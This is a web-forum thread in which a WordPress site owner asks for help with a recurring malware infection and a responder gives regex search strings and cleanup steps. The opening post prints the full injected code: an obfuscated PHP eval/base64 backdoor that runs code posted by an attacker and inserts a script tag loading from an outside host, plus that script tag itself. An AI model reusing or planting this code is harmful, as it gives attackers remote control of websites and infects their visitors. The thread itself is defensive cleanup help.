Wordpress - Malware attack on my site! HELP!
by kimo2012
about 1 month ago

First off, the website is www.bigtimerushtv.com. Over the past 4 days, I have changed my passwords 3 different times as well as manually removing code from each file. I spoke with my host who suggested I download my files, run a scan, and fix the files with the javascript on it… unsuccessful all the times I tried it.

I read a few of the threads on here and it seemed to be a foreign language to me. Here’s the two codes that I recognized:

<?php eval(base64_decode(‘aWYoIWZ1bmN0aW9uX2V4aXN0cygna2V6bDcnKSl7ZnVuY3Rpb24ga2V6bDcoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRjaCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFxiIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRjaF9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihwcmVnX21hdGNoKCcjW1wuIF13aWR0aFxzKj1ccypbXCciXT8wKlswLTldW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycpLicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMMnRwWm1sc0xtTnZiUzlQZFhSc1pYUmpkV0ZrY205ekwxQnlhVzVqYVhCaGJDNXdhSEFnUGp3dmMyTnlhWEIwUGc9PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24ga2V6bDcyKCRhLCRiLCRjLCRkKXtnbG9iYWwka2V6bDcxOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCRrZXpsNzEpKWNhbGxfdXNlcl9mdW5jKCRrZXpsNzEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2KWlmKCgkYT0kdlsnbmFtZSddKT09J2tlemw3JylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgna2V6bDcnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0ka2V6bDdsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdrZXpsNzInKSkhPSdrZXpsNzInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==’)); ?>

and

<script src=http://kifil.com/Outletcuadros/Principal.php ></sc ript>

I noticed in one of the other threads on here (http://badwarebusters.org/main/itemview/14451#itemblock-14459) that a third code was found but I can’t find anything similar to it.

If anyone could PLEASE help me, I’d appreciate it!

by mBlue
about 1 month ago

Hello Sir,

pls provide your website url so we can scan your site

Regards,
Simon
soswebscan.com

by WeWatch
about 1 month ago

If you’re ready to do this yourself, I’ll provide the search strings and the free tools.

First, download grepWin. It’s free. http://code.google.com/p/grepwin/downloads/list I recommend the .msi file

If those are the only 2 codes (malscripts) you’re finding on your site then you can use these 2 regex search strings in grepWin:

For the first you identified in your post use:

<\?php\s*eval\(base64_decode\([\'|\"].*?[\'|\"].*?\)\);\s*\?>

And for the second malscript use:

<script src=http:\/\/.*?\.php\s></script>

Often times if you see the above code, you might also see some malscripts at the bottom of various .js files.

If so, you can use this regex search string to find and remove them:

document\.write\(\'<script src=http:\/\/.*?\.php\s><\\/script>\'\);

So, once you open up grepWin, assuming you’ve already downloaded all of your files to your PC use these settings:

In the Search in: box use the button (…) to select the folder where your web files are located.

Select Regex search and in the Search for: box use the first string I provided above.

Leave Replace with: empty

And use the following settings:

uncheck Search case-sensitive
check Dot matches newline
check Create backup files
uncheck Treat files as UTF8
check All sizes
check Include system items
check Include hidden items
check Include subfolders

Then hit the Search button. I’d like you to see the files that it finds. If you right-click on one of them in the Search results window, you can open it in an editor (Wordpad) and scroll through the file to see the malscript. Do this on a few of the files.

Then when you’re ready, hit Replace. it will save the original file with a .bak extension and the normal file name will have that string removed.

Then repeat the process with the next search string.

Then, because these types of websites will happen over and over again, change all FTP passwords. If you’re using FileZilla or any one of the FTP programs listed here: http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/

then change to a different FTP program. I like WS_FTP by Ipswitch because they do encrypt the stored usernames and passwords.

The root cause of the re-infection could be a virus on a PC with FTP access to your website. This virus steals the FTP login credentials, sends them to a server which then infects your website. That might be why it’s happening over and over again.

The php code you found above, is similar to what hackers install on websites, after they’ve logged in with the stolen FTP credentials, so they can re-infect the site without logging in.

You might have to use a different anti-virus program in order to find and remove the virus from a PC. I’ve had good success with Avast, F-Prot or Kaspersky. The reason is that the virus knows how to evade detection of your current anti-virus software. If you’re already using one of these, try one of the other ones. It has to be different.

Please post back here with any questions or updates.

Thank you.

Thomas J. Raef
“We Watch Your Website – so you don’t have to!”
http://www.wewatchyourwebsite.com
traef@wewatchyourwebsite.com

by kimo2012
about 1 month ago

Hi Thomas!

I replaced the malscript. Is it ready to be re-uploaded once I change my FTP password?

Also, I realized I didn’t have a antivirus software active on my computer. I bought BitDefender 2010.

Please let me know if there is anything I still need to do or can do.

THANK YOU A BUNCH!

by WeWatch
about 1 month ago

After you change the FTP password, the re-upload it and then request a review from Google’s Webmaster tools and you should be good.

Let the forum here know if you need another scan to be sure you got it all.

Thank you.

Thomas J. Raef
“We Watch Your Website – so you don’t have to!”
http://www.wewatchyourwebsite.com
traef@wewatchyourwebsite.com

by kimo2012
about 1 month ago

I changed the FTP password then I reuploaded the files.

Just FYI, my host provides WiseFTP. I saw your reference in your first reply.

Could you please scan and let me know what you find?

Thank you once more. MAJOR help!